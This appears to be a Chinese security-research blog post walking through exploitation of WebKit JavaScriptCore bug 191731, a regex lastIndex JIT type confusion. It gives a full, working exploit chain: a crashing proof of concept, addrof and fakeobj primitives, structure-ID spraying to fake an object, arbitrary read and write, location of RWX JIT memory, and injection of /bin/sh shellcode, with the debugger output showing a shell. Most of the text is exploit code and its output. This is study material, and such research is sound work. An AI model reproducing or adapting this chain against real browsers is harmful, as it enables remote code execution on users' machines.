JavaScript engine exploit(二)

 

0x00 前言

这是2018年底的一个关于正则的bug,编号是191731。

关于这个Bug的描述和Diff:About The BugDiff

切换到漏洞分支编译:

git checkout 3af5ce129e6636350a887d01237a65c2fce77823

 

0x01 POC

var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310

var funcToJIT = function() {
    'abc'.match(reg);
    victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
    funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
    victim_array[0] = {};
    return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

直接用jsc运行的话会崩溃:

$ ./WebKit.git/WebKitBuild/Debug/bin/jsc ./bug_191731/test/poc.js
[1]    37939 segmentation fault  ./WebKit.git/WebKitBuild/Debug/bin/jsc ./bug_191731/test/poc.js

可以用lldb加载jsc运行再看看:

$ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i ../bug_191731/test/poc.js
Process 37993 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x616161616166)
    frame #0: 0x000000010000b90c jsc`JSC::JSCell::isString(this=0x0000616161616161) const at JSCellInlines.h:203:12
   200
   201     inline bool JSCell::isString() const
   202     {
-> 203         return m_type == StringType;
   204     }
   205
   206     inline bool JSCell::isBigInt() const
Target 0: (jsc) stopped.

这里引用了一个thisthis=0x0000616161616161,这个数据的来源是POC中的val。

这里很明显传入了一个double,但是取出来的却是一个对象,然后引用这个对象的时候造成了崩溃。这里简单叙述一下POC的过程:

  1. 初始化一个Double数组。
  2. 初始化一个正则表达式对象,而且一定要加上/y标识。
  3. 随意初始化一个double变量。
  4. 创建一个函数,函数体内执行正则匹配,并对victim_array[0]传入double值。
  5. 让第四步创建的函数循环一万次,以触发JIT对它进行优化编译。
  6. 创建一个对象,重写该对象的toString方法,该方法给victim_array[0]赋值一个对象。
  7. reglastIndex属性赋值为刚创建的对象。
  8. 调用funcToJIT触发toStringvictim_array转化为JSValue数组,然后放入val的值。
  9. 打印victim_array[0]触发对伪造对象的引用,引起崩溃。

上面提到了一定要加上/y标识,这是因为每个正则对象都有一个lastIndex属性,每次进行匹配的时候都会读取这个属性作为匹配字符串的开头,如果lastIndex为0就是从字符串开头进行匹配,如果lastIndex为1就是从第二个字符开始进行匹配。加上/y之后,正则对象每次都会读取这个值作为开头,而且不管匹配是否成功,都会将lastIndex设置为上一次匹配结束的位置。

但是/g也会读取lastIndex,为什么不用/g?因为/g修饰过的正则每次匹配必须从字符串开头进行,我猜测可能是每次匹配开始时都会将lastIndex设置为0,这就导致我们没法利用这个属性,因为每次重写都会被覆盖为0。

这个POC的关键点在于,最后传入val的时候,JSC为什么不认为val是double类型,而认为它是一个对象?

在最后执行funcToJIT()之前:

>>> describe(victim_array)
Object: 0x108ab4340 with butterfly 0x8000fe6a8 (Structure 0x108af2a70:[Array, {}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 98

执行完成后:

>>> describe(victim_array)
Object: 0x108ab4340 with butterfly 0x8000fe6a8 (Structure 0x108af2ae0:[Array, {}, ArrayWithContiguous, Proto:0x108ac80a0]), StructureID: 99

问题就出在funcToJIT中,我们可以认为这个函数执行了两个步骤,一个是执行toString,另一个就是victim_array[0] = valtoString中执行victim_array[0] = {},这一步JSC就将数组变成了ArrayWithContigous,说明JSC是知道传入了一个对象的。而执行victim_array[0] = val的时候,JSC就没认为它是一个double。这是因为funcToJIT()被JIT优化了,导致JSC没有对val的类型进行检查,也就没有对我们传入的值进行编码,我设置的val=0x616161616161,编码之后应该是0x1616161616161,这里没有编码,传进去之后就是原来的值,然而此时数组已经是ArrayWithContigous,根据JSC的NaN-boxing规则,0x616161616161就是一个指针。

double传入ArrayWithDouble-正常:

(lldb) x/10gx 0x10000fe6c8
0x10000fe6c8: 0x0000616161616161 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6f8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe708: 0x00000000badbeef0 0x00000000badbeef0

double传入ArrayWithContigous-正常:

(lldb) x/10gx 0x10000fe6a8
0x10000fe6a8: 0x0001616161616161 0x00000000badbeef0
0x10000fe6b8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6c8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0

double传入ArrayWithContigous-POC:

(lldb) x/10gx 0x10000fe6a8
0x10000fe6a8: 0x0000616161616161 0x00000000badbeef0
0x10000fe6b8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6c8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0

关于JIT的优化流程和内部细节可以看官方文档的描述:Introducing the webkit ftl-jit

文档中有描述一个函数被调用多少次会触发DFG,

The first execution of any function always starts in the interpreter tier. As soon as any statement in the function executes more than 100 times, or the function is called more than 6 times (whichever comes first), execution is diverted into code compiled by the Baseline JIT. This eliminates some of the interpreter’s overhead but lacks any serious compiler optimizations. Once any statement executes more than 1000 times in Baseline code, or the Baseline function is invoked more than 66 times, we divert execution again, to the DFG JIT.

但是我实际测试过程中我把funcToJIT()的调用次数调到3670,就只是有几率触发DFG,所以还是把调用次数调大一点比较稳,但也不能太大,调用次数过多就会进入FTL。

 

0x02 Exploit

POC中通过传入设定好的double值成功伪造了一个指针,其实用相反的手法我们是可以做到泄漏对象地址的。我们可以先在数组中放入对象指针,然后以double的形式将指针打印出来,构造出来的addrof()原语如下:

function addrof(obj){
    var victim_array = [1.1];
    var reg = /abc/y;

    var funcToJIT = function(array){
        'abc'.match(reg);
        return array[0];
    }

    for(var i=0; i< 10000; i++){
        funcToJIT(victim_array);
    }

    regexLastIndex = {};
    regexLastIndex.toString = function(){
        victim_array[0] = obj;
        return "0";
    };
    reg.lastIndex = regexLastIndex;

    return funcToJIT(victim_array)
}

可以观察到,我这里在funcToJIT()加了一个参数,因为我发现不加这个参数直接操作victim_array的话似乎出现了两个victim_array,最后返回给我的是没有修改值的那个,加上参数就可解决这个问题,原因尚不清楚。

使用这个函数并传入一个对象,就会返回这个对象的地址:

(lldb) run -i ../bug_191731/test/poc.js
There is a running process, kill it and restart?: [Y/n] y
Process 39404 launched: '/Users/7o8v/Documents/SecResearch/Browser/WebKit/WebKit.git/WebKitBuild/Debug/bin/jsc' (x86_64)
2.1938450464e-314
>>>

但是返回的是double的形式,我没找到JavaScript有啥格式化比较方便的方法,最后看niklasb大佬的exp发现可以用ArrayBuffer解决,代码如下:

var buffer = new ArrayBuffer(8);
var u8 = new Uint8Array(buffer);
var u32 = new Uint32Array(buffer);
var f64 = new Float64Array(buffer);
var BASE = 0x100000000;
function i2f(i) {
    u32[0] = i%BASE;
    u32[1] = i/BASE;
    return f64[0];
}
function f2i(f) {
    f64[0] = f;
    return u32[0] + BASE*u32[1];
}
function hex(x) {
    if (x < 0)
        return `-${hex(-x)}`;
    return `0x${x.toString(16)}`;
}

通过申请一个8字节的buffer,并且用不同形式表示它可以很好解决格式化的问题。

>>> test = {}
[object Object]
>>> hex(f2i(addrof(test)))
0x1082b00c0
>>> describe(test)
Object: 0x1082b00c0 with butterfly 0x0 (Structure 0x1082f20d0:[Object, {}, NonArray, Proto:0x1082b4000]), StructureID: 76
>>>

可以看到确实泄漏出了对象的地址。

根据poc再构造一个fakeobj()

function fakeobj(addr){

    var victim_array = [1.1];
    var reg = /abc/y;

    var funcToJIT = function(array){
        'abc'.match(reg);
        array[0] = addr;
    }

    for(var i=0; i < 10000; i++){
        funcToJIT(victim_array);
    }

    regexLastIndex = {};
    regexLastIndex.toString = function(){
        victim_array[0] = {};
        return "0";
    }
    reg.lastIndex = regexLastIndex;
    funcToJIT(victim_array);

    return victim_array[0];
}
>>> test = {};
[object Object]
>>> test_addr = f2i(addrof(test));
4440391936
>>> hex(test_addr)
0x108ab0100
>>> aaaa = fakeobj(i2f(test_addr))
[object Object]
>>> describe(aaaa)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>> describe(test)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>>

现在可以泄漏,可以伪造,那么就要想办法扩大我们的控制范围,尽量达到任意读写的目的。

现在fakeobj()传入任何地址JSC都会把它当作是一个对象的指针,那么我们就可以先泄漏出一个对象的地址,再在这个对象地址的基础上加上一个偏移,使得伪造对象地址处的数据变得可控,前面提到过对象的属性会存储在butterfly中,但是当该对象不是一个数组而且属性不超过6个的时候,就不会有butterfly,而是将这些属性的值存放在对象内部连续的内存中:

>>> test = {}
[object Object]
>>> test.a = 5.2900040263529e-310
5.2900040263529e-310
>>> test.b = 2
2
>>> test.c = 3
3
>>> test.d = 4
4
>>> test.e = 5
5
>>> test.f = 6
6
>>> describe(test)
Object: 0x108ab0280 with butterfly 0x0 (Structure 0x108a71260:[Object, {a:0, b:1, c:2, d:3, e:4, f:5}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 329
>>>

可以看到test对象并没有butterfly,再来看看test内部:

(lldb) x/10gx 0x108ab0280
0x108ab0280: 0x0100160000000149 0x0000000000000000
0x108ab0290: 0x0001616161616161 0xffff000000000002
0x108ab02a0: 0xffff000000000003 0xffff000000000004
0x108ab02b0: 0xffff000000000005 0xffff000000000006
0x108ab02c0: 0x00000000badbeef0 0x00000000badbeef0

可以看到属性的值是被编码过的,这也提醒我们伪造数据的时候要减去0x10000000000。如果我们此时再增加属性,对象就会申请butterfly来存储数据,多余的属性值就会存储到butterfly中。

现在我们就可以开始伪造对象了,如果对JavaScript对象的结构还不是很了解的,推荐阅读:Attacking JavaScript Engines

Fake Object

伪造对象需要先伪造一个header,但是header中包含一个structureID,这个值不好预测而且必须要一个有效的ID才可以。这个时候就可以使用spray技术提前创建大量的对象。structureID虽然不好预测,但也不是随机的值,而是随着对象数量的增加而变大的。所以我们提前创建大量的对象,并选取一个中间的值作为structureID,大概率就是有效的。

var spray = []
for (var i = 0; i < 1000; ++i) {
    var obj = [1.1];
    obj.a = 2.2;
    obj['p'+i] = 3.3;
    spray.push(obj);
}
>>> describe(spray[0])
Object: 0x108ab4390 with butterfly 0x8000dc058 (Structure 0x108a70f50:[Array, {a:100, p0:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 322
>>> describe(spray[999])
Object: 0x108a14330 with butterfly 0x8000c3e08 (Structure 0x108a10e70:[Array, {a:100, p999:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 1321
>>>

伪造的时候选取一个中间的值就可以了,其实这种方法还不是太稳,比较稳的做法是使用instanceof,不过只是练习就无所谓啦。

再看下spray出来的obj的header:

(lldb) x/2gx 0x108ab4390
0x108ab4390: 0x0108210700000142 0x00000008000dc058

header的数据就是0x0108210700000142,低四字节就是structrueID,高四字节就是flags,可以直接使用,可以认为这个flags表示的就是ArrayWithDouble(其实还包含了其他的信息)。伪造对象如下:

u32[0] = 0x200;
u32[1] = 0x01082107 - 0x10000;
var header_arrayDouble = f64[0];

victim = {
    fake_header:header_arrayDouble,
};

victim_addr = f2i(addrof(victim))
hax = fakeobj(i2f(victim_addr+0x10))
>>> describe(hax)
Object: 0x1089c83b0 with butterfly 0x0 (Structure 0x10894a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x1089c80a0, Leaf]), StructureID: 512
>>>

伪造对象成功之后,就可以进行进一步的操作了,现在可以通过victim控制hax的butterfly指向任意地址。但是现在有个问题,这个butterfly、必须是个合法的指针,然而我们是不可以通过正常方法往对象的属性写我们指定的指针的,唯一写指针进去的方法就是直接赋值一个对象。但如果对象是一个ArrayWithDouble,其实我们就可以通过写double的形式写一个double进去并伪造成指针,于是我们可以做以下的操作:

controller = spray[500];

victim = {
    fake_header:header_arrayDouble,
    fake_butterfly:controller
};

victim_addr = f2i(addrof(victim));
hax = fakeobj(i2f(victim_addr+0x10));

hax[1] = 5.2900040263529e-310;
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512

#查看hax的butterfly,其实也就是controller的内存
(lldb) x/2gx 0x108ab62d0
0x108ab62d0: 0x0108210700000337 0x0000616161616161
(lldb)

这样我们就间接地控制了controller的butterfly,而且可以指向任意地址。然后通过访问controller的属性,我们其实已经可以实现任意地址读写了。比如访问controller.a其实就是读取controller的butterfly偏移为-0x10的值。现在来尝试一下读hax的内存:

>>> hax[1] = i2f(f2i(addrof(hax))+0x10)
2.193894026e-314
>>> hex(f2i(controller.a))
0x107210700000200
>>> hax[1] = i2f(f2i(addrof(hax))+0x10+8)
2.19389403e-314
>>> hex(f2i(controller.a))
0x7ff8000000000000
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512

(lldb) x/2gx 0x108ac83b0
0x108ac83b0: 0x0108210700000200 0x0000000108ab62d0
(lldb)

可以看到虽然可以读数据了,但是读的数据并不准确,首先第一个读出来的double是解码的,这个不难理解。奇怪的是第二个,hax的butterfly明明被指向了controller,这是一个合法的对象,应该是读不出来数据的,但是这里居然也能读,虽然数据是错的。既然这个是对象,其实我们完全可以用前面写好的addrof()来读:

>>> hex(f2i(addrof(controller.a)))
0x108ab62d0

这个读出来就是准确的,用同样的方法去读double的话其实还是会有解码的情况:

>>> hex(f2i(addrof(controller.a)))
0x107210700000200

造成这种情况的原因主要是我前面构造的addrof(),它返回的值肯定是JSValue解码后的结果,所以我们可以利用现在掌握的任意读写能力重新构造更稳定可靠的addrof()fakeobj(),构造如下:

var unboxed = [2.2];
#防止unboxed成为CopyOnWriteArrayWithDouble,多赋值一次可确保ArrayWithDouble。
unboxed[0] = 3.3;
#boxed为ArrayWithContigous
var boxed = [{}];

#使boxed和unboxed的butterfly指向同一片内存,类似ArrayBuffer,我们就可以用不同的形式表示同一块内存。
hax[1] = unboxed;
var shared = controller[1];
hax[1] = boxed;
controller[1] = shared;
#由于赋值过对象,hax的类型会变成ArrayWithContigous,重新设定类型方便之后赋值。
victim.fake_header = header_arrayDouble;

var stage2 = {
    addrof : function (obj){
        boxed[0] = obj;
        return f2i(unboxed[0]);
    },
    fakeobj : function (addr){
        unboxed[0] = i2f(addr);
        return boxed[0];
    },
    read64 : function (addr){
        hax[1] = i2f(addr+0x10);
        return stage2.addrof(controller.a);
    },
};

我顺便写了负责任意读的方法read64(),可以试试效果:

>>> stage2.read64(stage2.addrof(hax))
74345707800101380
>>> hex(74345707800101380)
0x108210700000200
>>> stage2.read64(stage2.addrof(hax)+8)
4440416976
>>> hex(4440416976)
0x108ab62d0
>>> describe(hax)
Object: 0x108ac83b0 with butterfly 0x108ab62d0 (Structure 0x108a4a3e0:[Array, {a:100, p188:101}, ArrayWithDouble, Proto:0x108ac80a0]), StructureID: 512

(lldb) x/2gx 0x108ac83b0
0x108ac83b0: 0x0108210700000200 0x0000000108ab62d0
(lldb)

这就很稳了,但其实有时候读double还不是很准,我猜测是因为精度问题,但其实问题不大。现在尝试构造一个任意写的方法:

write64 : function (addr, content){
        hax[1] = i2f(addr+0x10);
        controller.a = this.fakeobj(content);
}

试试效果:

var stage2 = {
    addrof : function (obj){
        boxed[0] = obj;
        return f2i(unboxed[0]);
    },
    fakeobj : function (addr){
        unboxed[0] = i2f(addr);
        return boxed[0];
    },
    read64 : function (addr){
        hax[1] = i2f(addr+0x10);
        return this.addrof(controller.a);
    },
    write64 : function (addr, content){
        hax[1] = i2f(addr+0x10);
        controller.a = this.fakeobj(content);
    },
    test : function(){

        testObj = {};
        testObj[0] = 1.1;
        obj_addr = this.addrof(testObj)
        value = 0x1122334455667788;
        this.write64(obj_addr+8, value);

    },
};

stage2.test();
>>> describe(testObj)
Object: 0x1082b0100 with butterfly 0x1122334455667800 (Structure 0x10820d3b0:[Object, {}, NonArrayWithDouble, Proto:0x1082b4000, Leaf]), StructureID: 1333
>>>

发现写进去的数据不完整,这是因为JavaScript不能表示那么大的整型,所以我选择一次写四个字节。但是测试的时候还是出了错:

    test : function(){

        testObj = {};
        testObj[0] = 1.1;
        obj_addr = this.addrof(testObj);
        value = 0x11223344;
        this.write64(obj_addr+8, value);
    },
(lldb) run -i ../bug_191731/test/poc.js
Process 42272 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x11223ed8)
    frame #0: 0x000000010000c145 jsc`JSC::MarkedBlock::vm(this=0x0000000011220000) const at MarkedBlock.h:472:21
   469
   470     inline VM* MarkedBlock::vm() const
   471     {
-> 472         return footer().m_vm;
   473     }
   474
   475     inline WeakSet& MarkedBlock::Handle::weakSet()
Target 0: (jsc) stopped.
(lldb)

我猜测是因为gc的检查导致的问题,所以我写了个简单的passGC()

passGC : function (){
        var passObj = {};
        passObj[0] = 1.1;
        this.write64(this.addrof(passObj+8), 0x7);
},

再次运行:

test : function(){
        testObj = {};
        testObj[0] = 1.1;
        obj_addr = this.addrof(testObj);
        this.passGC();
        value = 0x11223344;
        this.write64(obj_addr+8, value);
},
(lldb) run -i ../bug_191731/test/poc.js
>>> describe(testObj)
Object: 0x108ab0100 with butterfly 0x11223344 (Structure 0x108a0d420:[Object, {}, NonArrayWithDouble, Proto:0x108ab4000, Leaf]), StructureID: 1334
>>>

看起来效果还不错,解决了写的问题,之后就需要考虑下写哪里的问题了,因为JIT会在内存中申请RWX的内存,所以可以构造一个JIT编译的function出来,然后找到代码的位置,将shellcode写进去,最后执行function就可以了。构造JIT Function:

getJITFunction : function (){
        function target(num) {
            for (var i = 2; i < num; i++) {
                if (num % i === 0) {
                    return false;
                }
            }
            return true;
        }

        for (var i = 0; i < 1000; i++) {
            target(i);
        }
        for (var i = 0; i < 1000; i++) {
            target(i);
        }
        for (var i = 0; i < 1000; i++) {
            target(i);
        }
        return target;
},

查看进程的内存访问权限,可以在另一个终端输入vmmap [pid]

JS JIT generated code  00004e12a4201000-00004e12e4201000 [  1.0G    24K    24K    32K] rwx/rwx SM=PRV

可以看到JIT的内存访问权限是RWX。

构造好了函数之后,可以通过任意读得到这块内存的地址:

getRWXMem: function(){
        shellcodeFunc = this.getJITFunction()
        target_addr = this.read64(this.addrof(shellcodeFunc)+8*3)
        target_addr = this.read64(target_addr + 8*3)
        target_addr = this.read64(target_addr + 8*4)
        return [shellcodeFunc, target_addr]
},
>>> hex(shellcodeObj[1])
0x33696e808d19

(lldb) x/10i 0x33696e808d19
    0x33696e808d19: 49 bb 71 e7 ff 08 01 00 00 00  movabsq $0x108ffe771, %r11        ; imm = 0x108FFE771
    0x33696e808d23: 41 c6 03 00                    movb   $0x0, (%r11)
    0x33696e808d27: 55                             pushq  %rbp
    0x33696e808d28: 48 89 e5                       movq   %rsp, %rbp
    0x33696e808d2b: 49 bb 60 e7 ff 08 01 00 00 00  movabsq $0x108ffe760, %r11        ; imm = 0x108FFE760
    0x33696e808d35: 4c 89 5d 10                    movq   %r11, 0x10(%rbp)
    0x33696e808d39: 8b 75 20                       movl   0x20(%rbp), %esi
    0x33696e808d3c: 83 fe 02                       cmpl   $0x2, %esi
    0x33696e808d3f: 0f 83 8d f8 ff ff              jae    0x33696e8085d2
    0x33696e808d45: 48 89 ef                       movq   %rbp, %rdi
(lldb)

看汇编差不多就知道是构造出来的target函数了。构造一个写shellcode的函数:

injectShellcode : function (addr, shellcode){
        var theAddr = addr;
        this.passGC();
        for(var i=0, len=shellcode.length; i < len; i++){
            this.write64(target_addr+i, shellcode[i].charCodeAt());
        }
},
shellcode = "x48x31xf6x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x48x89xe7x48x31xd2x48x31xc0xb0x02x48xc1xc8x28xb0x3bx0fx05";
this.injectShellcode(shellcodeObj[1], shellcode);

写的时候出了问题,中间可能还会触发GC,而且是在固定位置触发,所以在中间加上passGC()就行了。

injectShellcode : function (addr, shellcode){
        var theAddr = addr;
        this.passGC();
        for(var i=0, len=shellcode.length; i < len; i++){
            if(i == 0x1f){
                this.passGC();
            }
            this.write64(target_addr+i, shellcode[i].charCodeAt());
        }
}

shellcodeObj = this.getRWXMem();
print(hex(shellcodeObj[1]));
shellcode = "x48x31xf6x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x48x89xe7x48x31xd2x48x31xc0xb0x02x48xc1xc8x28xb0x3bx0fx05";
this.injectShellcode(shellcodeObj[1], shellcode);
var shellcodeFunc = shellcodeObj[0];
shellcodeFunc();

直接使用jsc运行脚本,就不要lldb了:

$ ./WebKitBuild/Debug/bin/jsc -i ../bug_191731/test/exp.js
bash-3.2$ ls
CMakeLists.txt        ChangeLog-2018-01-01    LayoutTests        ManualTests        Source            WebKit.xcworkspace    WebPlatformTests
ChangeLog        Examples        Makefile        PerformanceTests    Tools            WebKitBuild        Websites
ChangeLog-2012-05-22    JSTests            Makefile.shared        ReadMe.md        WebDriverTests        WebKitLibraries
bash-3.2$
bash-3.2$ exit
exit

0x04 Reference

[1] https://github.com/joshua7o8v/Browser/tree/master/WebKit/bug_191731

[2] https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html

[3] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/

[4] https://github.com/saelo/jscpwn

(完)